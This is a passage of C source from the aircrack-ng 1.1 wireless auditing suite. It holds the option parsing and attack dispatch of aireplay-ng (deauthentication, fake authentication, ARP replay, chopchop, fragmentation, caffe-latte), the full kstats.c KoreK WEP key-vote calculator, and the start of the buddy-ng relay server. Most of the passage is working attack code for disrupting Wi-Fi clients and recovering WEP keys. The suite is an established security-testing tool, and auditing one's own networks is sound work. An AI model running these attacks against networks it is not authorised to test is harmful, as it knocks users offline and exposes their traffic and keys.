== packet[0] ) { k=1; break; } } else if(i==2) //attack -1 (psk) { if( h80211[0] == packet[0] && memcmp(h80211+24, packet+24, caplen-24) == 0 ) { k=1; break; } } else if(i==3) //attack -2/-3/-4/-6 { if( h80211[0] == packet[0] && memcmp(h80211+24, packet+24, caplen-24) == 0 ) { k=1; break; } } else if(i==4) //attack -5/-7 { if( h80211[0] == packet[0] && memcmp(h80211+24, packet+24, caplen-24) == 0 ) { if( (packet[1] & 0x04) && memcmp( h80211+22, packet+22, 2 ) == 0 ) { k=1; break; } } } } gettimeofday( &tv2, NULL ); if (((tv2.tv_sec*1000000 - tv.tv_sec*1000000) + (tv2.tv_usec - tv.tv_usec)) > (3*atime*1000)) //wait 3*'atime' ms for an answer { break; } usleep(10); } } if(k) { k=0; if(i==0) //attack -0 { PCT; printf("Attack -0: OK\n"); } else if(i==1) //attack -1 (open) { PCT; printf("Attack -1 (open): OK\n"); } else if(i==2) //attack -1 (psk) { PCT; printf("Attack -1 (psk): OK\n"); } else if(i==3) //attack -3 { PCT; printf("Attack -2/-3/-4/-6: OK\n"); } else if(i==4) //attack -5 { PCT; printf("Attack -5/-7: OK\n"); } } else { if(i==0) //attack -0 { PCT; printf("Attack -0: Failed\n"); } else if(i==1) //attack -1 (open) { PCT; printf("Attack -1 (open): Failed\n"); } else if(i==2) //attack -1 (psk) { PCT; printf("Attack -1 (psk): Failed\n"); } else if(i==3) //attack -3 { PCT; printf("Attack -2/-3/-4/-6: Failed\n"); } else if(i==4) //attack -5 { PCT; printf("Attack -5/-7: Failed\n"); } } } if(!gotit && answers) { PCT; printf("Injection is working!\n"); if(opt.fast) return 0; gotit=1; } } return 0; } int main( int argc, char *argv[] ) { int n, i, ret; /* check the arguments */ memset( &opt, 0, sizeof( opt ) ); memset( &dev, 0, sizeof( dev ) ); opt.f_type = -1; opt.f_subtype = -1; opt.f_minlen = -1; opt.f_maxlen = -1; opt.f_tods = -1; opt.f_fromds = -1; opt.f_iswep = -1; opt.ringbuffer = 8; opt.a_mode = -1; opt.r_fctrl = -1; opt.ghost = 0; opt.delay = 15; opt.bittest = 0; opt.fast = 0; opt.r_smac_set = 0; opt.npackets = 1; opt.nodetect = 0; opt.rtc = 1; opt.f_retry = 0; /* XXX */ #if 0 #if defined(__FreeBSD__) /* check what is our FreeBSD version. injection works only on 7-CURRENT so abort if it's a lower version. */ if( __FreeBSD_version < 700000 ) { fprintf( stderr, "Aireplay-ng does not work on this " "release of FreeBSD.\n" ); exit( 1 ); } #endif #endif while( 1 ) { int option_index = 0; static struct option long_options[] = { {"deauth", 1, 0, '0'}, {"fakeauth", 1, 0, '1'}, {"interactive", 0, 0, '2'}, {"arpreplay", 0, 0, '3'}, {"chopchop", 0, 0, '4'}, {"fragment", 0, 0, '5'}, {"caffe-latte", 0, 0, '6'}, {"cfrag", 0, 0, '7'}, {"test", 0, 0, '9'}, {"help", 0, 0, 'H'}, {"fast", 0, 0, 'F'}, {"bittest", 0, 0, 'B'}, {0, 0, 0, 0 } }; int option = getopt_long( argc, argv, "b:d:s:m:n:u:v:t:T:f:g:w:x:p:a:c:h:e:ji:r:k:l:y:o:q:0:1:2345679HFBDR", long_options, &option_index ); if( option < 0 ) break; switch( option ) { case 0 : break; case ':' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case '?' : printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); case 'b' : if( getmac( optarg, 1 ,opt.f_bssid ) != 0 ) { printf( "Invalid BSSID (AP MAC address).\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'd' : if( getmac( optarg, 1, opt.f_dmac ) != 0 ) { printf( "Invalid destination MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 's' : if( getmac( optarg, 1, opt.f_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'm' : ret = sscanf( optarg, "%d", &opt.f_minlen ); if( opt.f_minlen < 0 || ret != 1 ) { printf( "Invalid minimum length filter. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'n' : ret = sscanf( optarg, "%d", &opt.f_maxlen ); if( opt.f_maxlen < 0 || ret != 1 ) { printf( "Invalid maximum length filter. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'u' : ret = sscanf( optarg, "%d", &opt.f_type ); if( opt.f_type < 0 || opt.f_type > 3 || ret != 1 ) { printf( "Invalid type filter. [0-3]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'v' : ret = sscanf( optarg, "%d", &opt.f_subtype ); if( opt.f_subtype < 0 || opt.f_subtype > 15 || ret != 1 ) { printf( "Invalid subtype filter. [0-15]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'T' : ret = sscanf(optarg, "%d", &opt.f_retry); if ((opt.f_retry < 1) || (opt.f_retry > 65535) || (ret != 1)) { printf("Invalid retry setting. [1-65535]\n"); printf("\"%s --help\" for help.\n", argv[0]); return(1); } break; case 't' : ret = sscanf( optarg, "%d", &opt.f_tods ); if(( opt.f_tods != 0 && opt.f_tods != 1 ) || ret != 1 ) { printf( "Invalid tods filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'f' : ret = sscanf( optarg, "%d", &opt.f_fromds ); if(( opt.f_fromds != 0 && opt.f_fromds != 1 ) || ret != 1 ) { printf( "Invalid fromds filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'w' : ret = sscanf( optarg, "%d", &opt.f_iswep ); if(( opt.f_iswep != 0 && opt.f_iswep != 1 ) || ret != 1 ) { printf( "Invalid wep filter. [0,1]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'x' : ret = sscanf( optarg, "%d", &opt.r_nbpps ); if( opt.r_nbpps < 1 || opt.r_nbpps > 1024 || ret != 1 ) { printf( "Invalid number of packets per second. [1-1024]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'o' : ret = sscanf( optarg, "%d", &opt.npackets ); if( opt.npackets < 0 || opt.npackets > 512 || ret != 1 ) { printf( "Invalid number of packets per burst. [0-512]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'q' : ret = sscanf( optarg, "%d", &opt.delay ); if( opt.delay < 1 || opt.delay > 600 || ret != 1 ) { printf( "Invalid number of seconds. [1-600]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'p' : ret = sscanf( optarg, "%x", &opt.r_fctrl ); if( opt.r_fctrl < 0 || opt.r_fctrl > 65535 || ret != 1 ) { printf( "Invalid frame control word. [0-65535]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'a' : if( getmac( optarg, 1, opt.r_bssid ) != 0 ) { printf( "Invalid AP MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'c' : if( getmac( optarg, 1, opt.r_dmac ) != 0 ) { printf( "Invalid destination MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'g' : ret = sscanf( optarg, "%d", &opt.ringbuffer ); if( opt.ringbuffer < 1 || ret != 1 ) { printf( "Invalid replay ring buffer size. [>=1]\n"); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case 'h' : if( getmac( optarg, 1, opt.r_smac ) != 0 ) { printf( "Invalid source MAC address.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.r_smac_set=1; break; case 'e' : memset( opt.r_essid, 0, sizeof( opt.r_essid ) ); strncpy( opt.r_essid, optarg, sizeof( opt.r_essid ) - 1 ); break; case 'j' : opt.r_fromdsinj = 1; break; case 'D' : opt.nodetect = 1; break; case 'k' : inet_aton( optarg, (struct in_addr *) opt.r_dip ); break; case 'l' : inet_aton( optarg, (struct in_addr *) opt.r_sip ); break; case 'y' : if( opt.prga != NULL ) { printf( "PRGA file already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( read_prga(&(opt.prga), optarg) != 0 ) { return( 1 ); } break; case 'i' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_face = optarg; opt.port_in = get_ip_port(opt.s_face, opt.ip_in, sizeof(opt.ip_in)-1); break; case 'r' : if( opt.s_face != NULL || opt.s_file ) { printf( "Packet source already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.s_file = optarg; break; case 'z' : opt.ghost = 1; break; case '0' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 0; for (i=0; optarg[i] != 0; i++) { if (isdigit((int)optarg[i]) == 0) break; } ret = sscanf( optarg, "%d", &opt.a_count ); if( opt.a_count < 0 || optarg[i] != 0 || ret != 1) { printf( "Invalid deauthentication count or missing value. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case '1' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 1; for (i=0; optarg[i] != 0; i++) { if (isdigit((int)optarg[i]) == 0) break; } ret = sscanf( optarg, "%d", &opt.a_delay ); if( opt.a_delay < 0 || optarg[i] != 0 || ret != 1) { printf( "Invalid reauthentication delay or missing value. [>=0]\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } break; case '2' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 2; break; case '3' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 3; break; case '4' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 4; break; case '5' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 5; break; case '6' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 6; break; case '7' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 7; break; case '9' : if( opt.a_mode != -1 ) { printf( "Attack mode already specified.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } opt.a_mode = 9; break; case 'F' : opt.fast = 1; break; case 'B' : opt.bittest = 1; break; case 'H' : printf( usage, getVersion("Aireplay-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); return( 1 ); case 'R' : opt.rtc = 0; break; default : goto usage; } } if( argc - optind != 1 ) { if(argc == 1) { usage: printf( usage, getVersion("Aireplay-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC) ); } if( argc - optind == 0) { printf("No replay interface specified.\n"); } if(argc > 1) { printf("\"%s --help\" for help.\n", argv[0]); } return( 1 ); } if( opt.a_mode == -1 ) { printf( "Please specify an attack mode.\n" ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if( (opt.f_minlen > 0 && opt.f_maxlen > 0) && opt.f_minlen > opt.f_maxlen ) { printf( "Invalid length filter (min(-m):%d > max(-n):%d).\n", opt.f_minlen, opt.f_maxlen ); printf("\"%s --help\" for help.\n", argv[0]); return( 1 ); } if ( opt.f_tods == 1 && opt.f_fromds == 1 ) { printf( "FromDS and ToDS bit are set: packet has to come from the AP and go to the AP\n" ); } dev.fd_rtc = -1; /* open the RTC device if necessary */ #if defined(__i386__) #if defined(linux) if( opt.a_mode > 1 ) { if( ( dev.fd_rtc = open( "/dev/rtc0", O_RDONLY ) ) < 0 ) { dev.fd_rtc = 0; } if( (dev.fd_rtc == 0) && ( ( dev.fd_rtc = open( "/dev/rtc", O_RDONLY ) ) < 0 ) ) { dev.fd_rtc = 0; } if(opt.rtc == 0) { dev.fd_rtc = -1; } if(dev.fd_rtc > 0) { if( ioctl( dev.fd_rtc, RTC_IRQP_SET, RTC_RESOLUTION ) < 0 ) { perror( "ioctl(RTC_IRQP_SET) failed" ); printf( "Make sure enhanced rtc device support is enabled in the kernel (module\n" "rtc, not genrtc) - also try 'echo 1024 >/proc/sys/dev/rtc/max-user-freq'.\n" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } else { if( ioctl( dev.fd_rtc, RTC_PIE_ON, 0 ) < 0 ) { perror( "ioctl(RTC_PIE_ON) failed" ); close( dev.fd_rtc ); dev.fd_rtc = -1; } } } else { printf( "For information, no action required:" " Using gettimeofday() instead of /dev/rtc\n" ); dev.fd_rtc = -1; } } #endif /* linux */ #endif /* i386 */ opt.iface_out = argv[optind]; opt.port_out = get_ip_port(opt.iface_out, opt.ip_out, sizeof(opt.ip_out)-1); //don't open interface(s) when using test mode and airserv if( ! (opt.a_mode == 9 && opt.port_out >= 0 ) ) { /* open the replay interface */ _wi_out = wi_open(opt.iface_out); if (!_wi_out) return 1; dev.fd_out = wi_fd(_wi_out); /* open the packet source */ if( opt.s_face != NULL ) { //don't open interface(s) when using test mode and airserv if( ! (opt.a_mode == 9 && opt.port_in >= 0 ) ) { _wi_in = wi_open(opt.s_face); if (!_wi_in) return 1; dev.fd_in = wi_fd(_wi_in); wi_get_mac(_wi_in, dev.mac_in); } } else { _wi_in = _wi_out; dev.fd_in = dev.fd_out; /* XXX */ dev.arptype_in = dev.arptype_out; wi_get_mac(_wi_in, dev.mac_in); } wi_get_mac(_wi_out, dev.mac_out); } /* drop privileges */ setuid( getuid() ); /* XXX */ if( opt.r_nbpps == 0 ) { if( dev.is_wlanng || dev.is_hostap ) opt.r_nbpps = 200; else opt.r_nbpps = 500; } if( opt.s_file != NULL ) { if( ! ( dev.f_cap_in = fopen( opt.s_file, "rb" ) ) ) { perror( "open failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fread( &dev.pfh_in, 1, n, dev.f_cap_in ) != (size_t) n ) { perror( "fread(pcap file header) failed" ); return( 1 ); } if( dev.pfh_in.magic != TCPDUMP_MAGIC && dev.pfh_in.magic != TCPDUMP_CIGAM ) { fprintf( stderr, "\"%s\" isn't a pcap file (expected " "TCPDUMP_MAGIC).\n", opt.s_file ); return( 1 ); } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) SWAP32(dev.pfh_in.linktype); if( dev.pfh_in.linktype != LINKTYPE_IEEE802_11 && dev.pfh_in.linktype != LINKTYPE_PRISM_HEADER && dev.pfh_in.linktype != LINKTYPE_RADIOTAP_HDR && dev.pfh_in.linktype != LINKTYPE_PPI_HDR ) { fprintf( stderr, "Wrong linktype from pcap file header " "(expected LINKTYPE_IEEE802_11) -\n" "this doesn't look like a regular 802.11 " "capture.\n" ); return( 1 ); } } //if there is no -h given, use default hardware mac if( maccmp( opt.r_smac, NULL_MAC) == 0 ) { memcpy( opt.r_smac, dev.mac_out, 6); if(opt.a_mode != 0 && opt.a_mode != 4 && opt.a_mode != 9) { printf("No source MAC (-h) specified. Using the device MAC (%02X:%02X:%02X:%02X:%02X:%02X)\n", dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5]); } } if( maccmp( opt.r_smac, dev.mac_out) != 0 && maccmp( opt.r_smac, NULL_MAC) != 0) { // if( dev.is_madwifi && opt.a_mode == 5 ) printf("For --fragment to work on madwifi[-ng], set the interface MAC according to (-h)!\n"); fprintf( stderr, "The interface MAC (%02X:%02X:%02X:%02X:%02X:%02X)" " doesn't match the specified MAC (-h).\n" "\tifconfig %s hw ether %02X:%02X:%02X:%02X:%02X:%02X\n", dev.mac_out[0], dev.mac_out[1], dev.mac_out[2], dev.mac_out[3], dev.mac_out[4], dev.mac_out[5], opt.iface_out, opt.r_smac[0], opt.r_smac[1], opt.r_smac[2], opt.r_smac[3], opt.r_smac[4], opt.r_smac[5] ); } switch( opt.a_mode ) { case 0 : return( do_attack_deauth() ); case 1 : return( do_attack_fake_auth() ); case 2 : return( do_attack_interactive() ); case 3 : return( do_attack_arp_resend() ); case 4 : return( do_attack_chopchop() ); case 5 : return( do_attack_fragment() ); case 6 : return( do_attack_caffe_latte() ); case 7 : return( do_attack_cfrag() ); case 9 : return( do_attack_test() ); default: break; } /* that's all, folks */ return( 0 ); } aircrack-ng-1.1/src/kstats.c0000644000000000000000000002501411215026345014477 0ustar rootroot/* * Kstat: displays the votes of the korek attack for each keybyte * * Copyright (C) 2006, 2007, 2008, 2009 Thomas d'Otreppe * Copyright (C) 2004, 2005 Christophe Devine * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include "common.h" #define N_ATTACKS 17 enum KoreK_attacks { A_u15, /* semi-stable 15% */ A_s13, /* stable 13% */ A_u13_1, /* unstable 13% */ A_u13_2, /* unstable ? 13% */ A_u13_3, /* unstable ? 13% */ A_s5_1, /* standard 5% (~FMS) */ A_s5_2, /* other stable 5% */ A_s5_3, /* other stable 5% */ A_u5_1, /* unstable 5% no good ? */ A_u5_2, /* unstable 5% */ A_u5_3, /* unstable 5% no good */ A_u5_4, /* unstable 5% */ A_s3, /* stable 3% */ A_4_s13, /* stable 13% on q = 4 */ A_4_u5_1, /* unstable 5% on q = 4 */ A_4_u5_2, /* unstable 5% on q = 4 */ A_neg /* helps reject false positives */ }; int K_COEFF[N_ATTACKS] = { 15, 13, 12, 12, 12, 5, 5, 5, 3, 4, 3, 4, 3, 13, 4, 4, -20 }; void calc_votes( unsigned char *ivbuf, long nb_ivs, unsigned char *key, int B, int votes[N_ATTACKS][256] ) { int i, j; long xv; unsigned char R[256], jj[256]; unsigned char S[256], Si[256]; unsigned char K[64]; unsigned char io1, o1, io2, o2; unsigned char Sq, dq, Kq, jq, q; unsigned char S1, S2, J2, t2; for( i = 0; i < 256; i++ ) R[i] = i; q = 3 + B; memcpy( K + 3, key, B ); memset( votes, 0, sizeof( int ) * N_ATTACKS * 256 ); for( xv = 0; xv < nb_ivs; xv += 5 ) { memcpy( K, &ivbuf[xv], 3 ); memcpy( S, R, 256 ); memcpy( Si, R, 256 ); for( i = j = 0; i < q; i++ ) { jj[i] = j = ( j + S[i] + K[i & 15] ) & 0xFF; SWAP( S[i], S[j] ); } i = q; do { i--; SWAP(Si[i],Si[jj[i]]); } while( i != 0 ); o1 = ivbuf[xv + 3] ^ 0xAA; io1 = Si[o1]; S1 = S[1]; o2 = ivbuf[xv + 4] ^ 0xAA; io2 = Si[o2]; S2 = S[2]; Sq = S[q]; dq = Sq + jj[q - 1]; if( S2 == 0 ) { if( ( S1 == 2 ) && ( o1 == 2 ) ) { Kq = 1 - dq; votes[A_neg][Kq]++; Kq = 2 - dq; votes[A_neg][Kq]++; } else if( o2 == 0 ) { Kq = 2 - dq; votes[A_neg][Kq]++; } } else { if( ( o2 == 0 ) && ( Sq == 0 ) ) { Kq = 2 - dq; votes[A_u15][Kq]++; } } if( ( S1 == 1 ) && ( o1 == S2 ) ) { Kq = 1 - dq; votes[A_neg][Kq]++; Kq = 2 - dq; votes[A_neg][Kq]++; } if( ( S1 == 0 ) && ( S[0] == 1 ) && ( o1 == 1 ) ) { Kq = 0 - dq; votes[A_neg][Kq]++; Kq = 1 - dq; votes[A_neg][Kq]++; } if( S1 == q ) { if( o1 == q ) { Kq = Si[0] - dq; votes[A_s13][Kq]++; } else if( ( ( 1 - q - o1 ) & 0xFF ) == 0 ) { Kq = io1 - dq; votes[A_u13_1][Kq]++; } else if( io1 < q ) { jq = Si[( io1 - q ) & 0xFF]; if( jq != 1 ) { Kq = jq - dq; votes[A_u5_1][Kq]++; } } } if( ( io1 == 2 ) && ( S[q] == 1 ) ) { Kq = 1 - dq; votes[A_u5_2][Kq]++; } if( S[q] == q ) { if( ( S1 == 0 ) && ( o1 == q ) ) { Kq = 1 - dq; votes[A_u13_2][Kq]++; } else if( ( ( ( 1 - q - S1 ) & 0xFF ) == 0 ) && ( o1 == S1 ) ) { Kq = 1 - dq; votes[A_u13_3][Kq]++; } else if( ( S1 >= ( ( -q ) & 0xFF ) ) && ( ( ( q + S1 - io1 ) & 0xFF ) == 0 ) ) { Kq = 1 - dq; votes[A_u5_3][Kq]++; } } if( ( S1 < q ) && ( ( ( S1 + S[S1] - q ) & 0xFF ) == 0 ) && ( io1 != 1 ) && ( io1 != S[S1] ) ) { Kq = io1 - dq; votes[A_s5_1][Kq]++; } if( ( S1 > q ) && ( ( ( S2 + S1 - q ) & 0xFF ) == 0 ) ) { if( o2 == S1 ) { jq = Si[(S1 - S2) & 0xFF]; if( ( jq != 1 ) && ( jq != 2 ) ) { Kq = jq - dq; votes[A_s5_2][Kq]++; } } else if( o2 == ( ( 2 - S2 ) & 0xFF ) ) { jq = io2; if( ( jq != 1 ) && ( jq != 2 ) ) { Kq = jq - dq; votes[A_s5_3][Kq]++; } } } if( ( S[1] != 2 ) && ( S[2] != 0 ) ) { J2 = S[1] + S[2]; if( J2 < q ) { t2 = S[J2] + S[2]; if( ( t2 == q ) && ( io2 != 1 ) && ( io2 != 2 ) && ( io2 != J2 ) ) { Kq = io2 - dq; votes[A_s3][Kq]++; } } } if( S1 == 2 ) { if( q == 4 ) { if( o2 == 0 ) { Kq = Si[0] - dq; votes[A_4_s13][Kq]++; } else { if( ( jj[1] == 2 ) && ( io2 == 0 ) ) { Kq = Si[254] - dq; votes[A_4_u5_1][Kq]++; } if( ( jj[1] == 2 ) && ( io2 == 2 ) ) { Kq = Si[255] - dq; votes[A_4_u5_2][Kq]++; } } } else if( ( q > 4 ) && ( ( S[4] + 2 ) == q ) && ( io2 != 1 ) && ( io2 != 4 ) ) { Kq = io2 - dq; votes[A_u5_4][Kq]++; } } } } typedef struct { int idx, val; } vote; int cmp_votes( const void *bs1, const void *bs2 ) { if( ((vote *) bs1)->val < ((vote *) bs2)->val ) return( 1 ); if( ((vote *) bs1)->val > ((vote *) bs2)->val ) return( -1 ); return( 0 ); } int main( int argc, char *argv[] ) { FILE *f; long nb_ivs; int i, n, B, *vi; int votes[N_ATTACKS][256]; unsigned char *ivbuf, *s; unsigned char buffer[4096]; unsigned char wepkey[16]; vote poll[64][256]; if( argc != 3 ) { printf( "usage: kstats <104-bit key>\n" ); return( 1 ); } i = 0; s = (unsigned char * ) argv[2]; buffer[0] = s[0]; buffer[1] = s[1]; buffer[2] = '\0'; while( sscanf( (char*) buffer, "%x", &n ) == 1 ) { if( n < 0 || n > 255 ) { fprintf( stderr, "Invalid wep key.\n" ); return( 1 ); } wepkey[i++] = n; if( i >= 16 ) break; s += 2; if( s[0] == ':' || s[0] == '-' ) s++; if( s[0] == '\0' || s[1] == '\0' ) break; buffer[0] = s[0]; buffer[1] = s[1]; } if( i != 13 ) { fprintf( stderr, "Invalid wep key.\n" ); return( 1 ); } if( ( ivbuf = (unsigned char *) malloc( 5 * 0xFFFFFF ) ) == NULL ) { perror( "malloc" ); return( 1 ); } if( ( f = fopen( argv[1], "rb" ) ) == NULL ) { perror( "fopen" ); return( 1 ); } if( fread( buffer, 1, 4, f ) != 4 ) { perror( "fread header" ); return( 1 ); } if( memcmp( buffer, "\xBF\xCA\x84\xD4", 4 ) != 0 ) { fprintf( stderr, "Not an .IVS file\n" ); return( 1 ); } nb_ivs = 0; while( 1 ) { if( fread( buffer, 1, 1, f ) != 1 ) break; if( buffer[0] != 0xFF ) if( fread( buffer + 1, 1, 5, f ) != 5 ) break; if( fread( buffer, 1, 5, f ) != 5 ) break; memcpy( ivbuf + nb_ivs * 5, buffer, 5 ); nb_ivs++; } for( B = 0; B < 13; B++ ) { for( i = 0; i < 256; i++ ) { poll[B][i].idx = i; poll[B][i].val = 0; } calc_votes( ivbuf, nb_ivs, wepkey, B, votes ); for( n = 0, vi = (int *) votes; n < N_ATTACKS; n++ ) for( i = 0; i < 256; i++, vi++ ) poll[B][i].val += *vi * K_COEFF[n]; qsort( poll[B], 256, sizeof( vote ), cmp_votes ); printf( "KB %02d VALID %02X", B, wepkey[B] ); for( i = 0; i < 256; i++ ) if( poll[B][i].idx == wepkey[B] ) printf( "(%4d) ", poll[B][i].val ); for( i = 0; i < N_ATTACKS; i++ ) printf( "%3d ", votes[i][wepkey[B]] ); printf( "\n" ); printf( "KB %02d FIRST %02X(%4d) ", B, poll[B][0].idx, poll[B][0].val ); for( i = 0; i < N_ATTACKS; i++ ) printf( "%3d ", votes[i][poll[B][0].idx] ); printf( "\n" ); printf( "KB %02d SECOND %02X(%4d) ", B, poll[B][1].idx, poll[B][1].val ); for( i = 0; i < N_ATTACKS; i++ ) printf( "%3d ", votes[i][poll[B][1].idx] ); printf( "\n" ); printf( "KB %02d THIRD %02X(%4d) ", B, poll[B][2].idx, poll[B][2].val ); for( i = 0; i < N_ATTACKS; i++ ) printf( "%3d ", votes[i][poll[B][2].idx] ); printf( "\n\n" ); } return( 0 ); } aircrack-ng-1.1/src/buddy-ng.c0000644000000000000000000001333211355271630014703 0ustar rootroot /* * Copyright (c) 2007, 2008, 2009 Andrea Bittau * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "easside.h" #include "version.h" extern char * getVersion(char * progname, int maj, int min, int submin, int svnrev, int beta, int rc); unsigned char ids[8192]; unsigned short last_id; int wrap; int is_dup(unsigned short id) { int idx = id/8; int bit = id % 8; unsigned char mask = (1 << bit); if (ids[idx] & mask) return 1; ids[idx] |= mask; return 0; } int handle(int s, unsigned char* data, int len, struct sockaddr_in *s_in) { char buf[2048]; unsigned short *cmd = (unsigned short *)buf; int plen; struct in_addr *addr = &s_in->sin_addr; unsigned short *pid = (unsigned short*) data; /* inet check */ if (len == S_HELLO_LEN && memcmp(data, "sorbo", 5) == 0) { unsigned short *id = (unsigned short*) (data+5); int x = 2+4+2; *cmd = htons(S_CMD_INET_CHECK); memcpy(cmd+1, addr, 4); memcpy(cmd+1+2, id, 2); printf("Inet check by %s %d\n", inet_ntoa(*addr), ntohs(*id)); if (send(s, buf, x, 0) != x) return 1; return 0; } *cmd++ = htons(S_CMD_PACKET); *cmd++ = *pid; plen = len - 2; last_id = ntohs(*pid); if (last_id > 20000) wrap = 1; if (wrap && last_id < 100) { wrap = 0; memset(ids, 0, sizeof(ids)); } printf("Got packet %d %d", last_id, plen); if (is_dup(last_id)) { printf(" (DUP)\n"); return 0; } printf("\n"); *cmd++ = htons(plen); memcpy(cmd, data+2, plen); plen += 2 + 2 + 2; assert(plen <= (int) sizeof(buf)); if (send(s, buf, plen, 0) != plen) return 1; return 0; } void handle_dude(int dude, int udp) { unsigned char buf[2048]; int rc; fd_set rfds; int maxfd; struct sockaddr_in s_in; socklen_t len; /* handshake */ rc = recv(dude, buf, 5, 0); if (rc != 5) { close(dude); return; } if (memcmp(buf, "sorbo", 5) != 0) { close(dude); return; } if (send(dude, "sorbox", 6, 0) != 6) { close(dude); return; } printf("Handshake complete\n"); memset(ids, 0, sizeof(ids)); last_id = 0; wrap = 0; while (1) { FD_ZERO(&rfds); FD_SET(udp, &rfds); FD_SET(dude, &rfds); if (dude > udp) maxfd = dude; else maxfd = udp; if (select(maxfd+1, &rfds, NULL, NULL, NULL) == -1) err(1, "select()"); if (FD_ISSET(dude, &rfds)) break; if (!FD_ISSET(udp, &rfds)) continue; len = sizeof(s_in); rc = recvfrom(udp, buf, sizeof(buf), 0, (struct sockaddr*) &s_in, &len); if (rc == -1) err(1, "read()"); if (handle(dude, buf, rc, &s_in)) break; } close(dude); } void drop_privs() { if (chroot(".") == -1) err(1, "chroot()"); if (setgroups(0, NULL) == -1) err(1, "setgroups()"); if (setgid(69) == -1) err(1, "setgid()"); if (setuid(69) == -1) err(1, "setuid()"); } void usage() { printf("\n" " %s - (C) 2007,2008 Andrea Bittau\n" " http://www.aircrack-ng.org\n" "\n" " Usage: buddy-ng \n" "\n" " Options:\n" "\n" " -h : This help screen\n" " -p : Don't drop privileges\n" "\n", getVersion("Buddy-ng", _MAJ, _MIN, _SUB_MIN, _REVISION, _BETA, _RC)); exit(1); } int main(int argc, char *argv[]) { struct utsname utsName; struct sockaddr_in s_in; struct sockaddr_in dude_sin; int len, udp, ch, dude, s; int port = S_DEFAULT_PORT; int drop; while ((ch = getopt(argc, argv, "ph")) != -1) { switch (ch) { case 'p': drop = 0; break; default: case 'h': usage(); break; } } memset(&s_in, 0, sizeof(s_in)); s_in.sin_family = PF_INET; s_in.sin_addr.s_addr = INADDR_ANY; s_in.sin_port = 